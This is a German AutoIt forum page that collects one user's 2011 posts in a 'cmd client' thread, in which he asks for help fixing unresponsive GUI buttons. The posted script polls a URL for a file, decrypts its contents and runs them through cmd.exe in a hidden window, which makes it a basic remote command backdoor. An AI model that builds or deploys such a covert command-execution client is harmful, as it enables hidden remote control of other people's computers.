1. Dashboard
  2. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  3. Forenregeln
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Alles
  • Alles
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
  1. AutoIt.de - Das deutschsprachige Forum.
  2. Mitglieder
  3. SgtIgram

Beiträge von SgtIgram

  • cmd client

    • SgtIgram
    • 30. April 2011 um 20:03
    [autoit]

    #include <IE.au3>
    #include <GUIConstantsEx.au3>
    #include <AVIConstants.au3>
    #include <String.au3>
    Local $commandID,$connection,$modeID,$oldcommand,$statusID,$msg,$command
    Local $connectID,$disconnectID
    _Main()

    [/autoit][autoit][/autoit][autoit]

    Func _Main()

    [/autoit][autoit][/autoit][autoit][/autoit][autoit]

    GuiCreate("Command Client", 400, 200)
    GuiSetIcon("cc.exe", 0)

    [/autoit][autoit][/autoit][autoit]

    ;GuiCtrlCreatePic("inprogress.gif",105,200, 190,14)
    GuiCtrlCreateAvi("sampleAVI.avi",0, 180, 30, 32, 32, $ACS_AUTOPLAY)
    $statusID = GuiCtrlCreateLabel("Not Connected", 25, 103, 80, 15)
    GuiCtrlSetBkColor($statusID, 0xCCCCCC)
    $modeID = GuiCtrlCreateLabel("Standby", 160, 70, 80, 15)
    $connectID = GUICtrlCreateButton("Verbinden", 120, 100, 60, 20)
    $disconnectID = GUICtrlCreateButton("Abbrechen", 210, 100, 60, 20)
    $commandID = GuiCtrlCreateInput($command, 10, 130, 380, 20)
    ;GUICtrlSetState(-1, $GUI_DISABLE)
    GUISetState() ; display the GUI

    [/autoit][autoit][/autoit][autoit]

    Do
    $msg = GUIGetMsg()

    [/autoit][autoit][/autoit][autoit]

    Select
    Case $msg = $connectID
    $connection = 1
    AdlibRegister("_client")
    Case $msg = $disconnectID
    $connection = 0
    GUICtrlSetData($modeID, "Standby")
    EndSelect

    [/autoit][autoit][/autoit][autoit]

    Until $msg = $GUI_EVENT_CLOSE
    EndFunc ;==>_Main

    [/autoit][autoit][/autoit][autoit]

    Func _client()

    [/autoit][autoit][/autoit][autoit]

    $download = InetGet("http://127.0.0.1/cc.txt","cc.txt",1)
    $file = fileopen("cc.txt",0)
    $command = fileread($file)
    if StringInStr($command,"</ADDRESS>") OR $command = "" Then
    GUICtrlSetData($modeID, "Not Found")
    GUICtrlSetData($statusID, "Error")
    GuiCtrlSetBkColor($statusID, 0xFF0000)
    $connection = 0
    ElseIf StringInStr($command,"<TR>") OR $msg = $disconnectID Then
    GUICtrlSetData($modeID, "No Connection")
    GUICtrlSetData($statusID, "Error")
    GuiCtrlSetBkColor($statusID, 0xFF0000)
    $connection = 0
    Else
    $command = _StringEncrypt(0,$command,"cocacola",10)
    GUICtrlSetData($statusID, "Connected")
    GuiCtrlSetBkColor($statusID, 0x00FF00)
    if $oldcommand <> $command Then
    GUICtrlSetData($modeID, "Recieving")
    Run('"C:\WINDOWS2\system32\cmd.exe" /C ' & $command,'',@SW_HIDE)
    GUICtrlSetData($commandID, $command)
    GUICtrlSetData($modeID, "Wait")
    $oldcommand = $command
    EndIf
    EndIf
    fileclose($file)
    FileDelete("cc.txt")
    EndFunc

    [/autoit]

    nach wie vor reagieren die buttons dann nichtmehr nachdem einmal die verbindung aufgebaut wurde

  • cmd client

    • SgtIgram
    • 30. April 2011 um 18:40

    ja habe ich-.-!

    und siehe da was dort steht:

    Zitat

    Alle 250 ms (oder Zeit ms) wird die spezifizierte "Funktion" aufgerufen - normalerweise, um auf unerwartete Fehler zu prüfen. Z.B. könnte adlib in einem Skript benutzt werden, welches ein unvorhergesehenes Fehler-Fenster öffnet.
    Die adlib Funktion sollte einfach gehalten werden, da sie oft ausgeführt wird und während dieser Zeit das Skript pausiert.
    Außerdem sollte vorsichtig mit dem time-Parameter umgegangen werden um unnötige CPU-Last zu vermeiden.

  • cmd client

    • SgtIgram
    • 30. April 2011 um 18:18

    die von dir genannte funktion verschlimmert es nurnoch weil es das ganze script währenddessen unterbricht. so kann ich nicht nur die buttons nicht betätigen sondern das ganze fenster nich ansprechen..

    also bin für bessere vorschläge offen!

  • cmd client

    • SgtIgram
    • 30. April 2011 um 17:14

    hallo leutz

    ich bastel für ein privates projekt eine art client der cmd befehle empfängt. da ich was autoit angeht noch anfänger bin lacht nicht über den code.

    jedenfalls: mein problem ist das wenn die funktion _client() aufgerufen wird checkt er ja nichtmehr ob buttons gedrückt werden wie beispielsweise der abbrechen button ($disconnectID) hab sogar so ein quatsch ausprobiert wie _client() IN _main() unterzubringen. wie man sich denken kann ohne erfolg

    [autoit]

    #include <IE.au3>
    #include <GUIConstantsEx.au3>
    #include <AVIConstants.au3>
    #include <String.au3>
    Local $commandID,$connection,$modeID,$oldcommand,$statusID,$msg,$command

    [/autoit][autoit][/autoit][autoit]

    _Main()

    [/autoit][autoit][/autoit][autoit]

    Func _Main()

    [/autoit][autoit][/autoit][autoit][/autoit][autoit]

    GuiCreate("Command Client", 400, 200)
    GuiSetIcon("cc.exe", 0)

    [/autoit][autoit][/autoit][autoit]

    GuiCtrlCreateAvi("sampleAVI.avi",0, 180, 30, 32, 32, $ACS_AUTOPLAY)
    $statusID = GuiCtrlCreateLabel("Not Connected", 25, 103, 80, 15)
    GuiCtrlSetBkColor($statusID, 0xCCCCCC)
    $modeID = GuiCtrlCreateLabel("Standby", 160, 70, 80, 15)
    $connectID = GUICtrlCreateButton("Verbinden", 120, 100, 60, 20)
    $disconnectID = GUICtrlCreateButton("Abbrechen", 210, 100, 60, 20)
    $commandID = GuiCtrlCreateInput($command, 10, 130, 380, 20)
    ;GUICtrlSetState(-1, $GUI_DISABLE)
    GUISetState() ; display the GUI

    [/autoit][autoit][/autoit][autoit]

    Do
    $msg = GUIGetMsg()

    [/autoit][autoit][/autoit][autoit]

    Select
    Case $msg = $connectID
    $connection = 1;
    _client()
    Case $msg = $disconnectID
    $connection = 0;
    GUICtrlSetData($modeID, "Standby")
    EndSelect

    [/autoit][autoit][/autoit][autoit]

    Until $msg = $GUI_EVENT_CLOSE
    EndFunc ;==>_Main

    [/autoit][autoit][/autoit][autoit]

    Func _client()
    Local $connectID,$disconnectID

    [/autoit][autoit][/autoit][autoit]

    $download = InetGet("http://127.0.0.1/cc.txt","cc.txt",1)
    $file = fileopen("cc.txt",0)
    $command = fileread($file)
    if StringInStr($command,"</ADDRESS>") OR $command = "" Then
    GUICtrlSetData($modeID, "Not Found")
    GUICtrlSetData($statusID, "Error")
    GuiCtrlSetBkColor($statusID, 0xFF0000)
    $connection = 0
    ElseIf StringInStr($command,"<TR>") OR $msg = $disconnectID Then
    GUICtrlSetData($modeID, "No Connection")
    GUICtrlSetData($statusID, "Error")
    GuiCtrlSetBkColor($statusID, 0xFF0000)
    $connection = 0
    Else
    $command = _StringEncrypt(0,$command,"cocacola",10)
    GUICtrlSetData($statusID, "Connected")
    GuiCtrlSetBkColor($statusID, 0x00FF00)
    if $oldcommand <> $command Then
    GUICtrlSetData($modeID, "Recieving")
    Run('"C:\WINDOWS\system32\cmd.exe" /C ' & $command,'',@SW_HIDE)
    GUICtrlSetData($commandID, $command)
    GUICtrlSetData($modeID, "Wait")
    $oldcommand = $command
    EndIf
    EndIf
    fileclose($file)
    FileDelete("cc.txt")
    if $connection <> 0 Then
    sleep(2000);
    _client()
    EndIf
    EndFunc

    [/autoit]

    hab schon ziemlich viel rumexperimentiert. hab sogar wie zu sehen ist versucht die while schleife durch ein einfaches if blablubb Then "funktion wiederholen"

    hoffe auf baldige antwort

Spenden

Jeder Euro hilft uns, Euch zu helfen.

Download

AutoIt Tutorial
AutoIt Buch
Onlinehilfe
AutoIt Entwickler
  1. Datenschutzerklärung
  2. Impressum
  3. Shoutbox-Archiv
Community-Software: WoltLab Suite™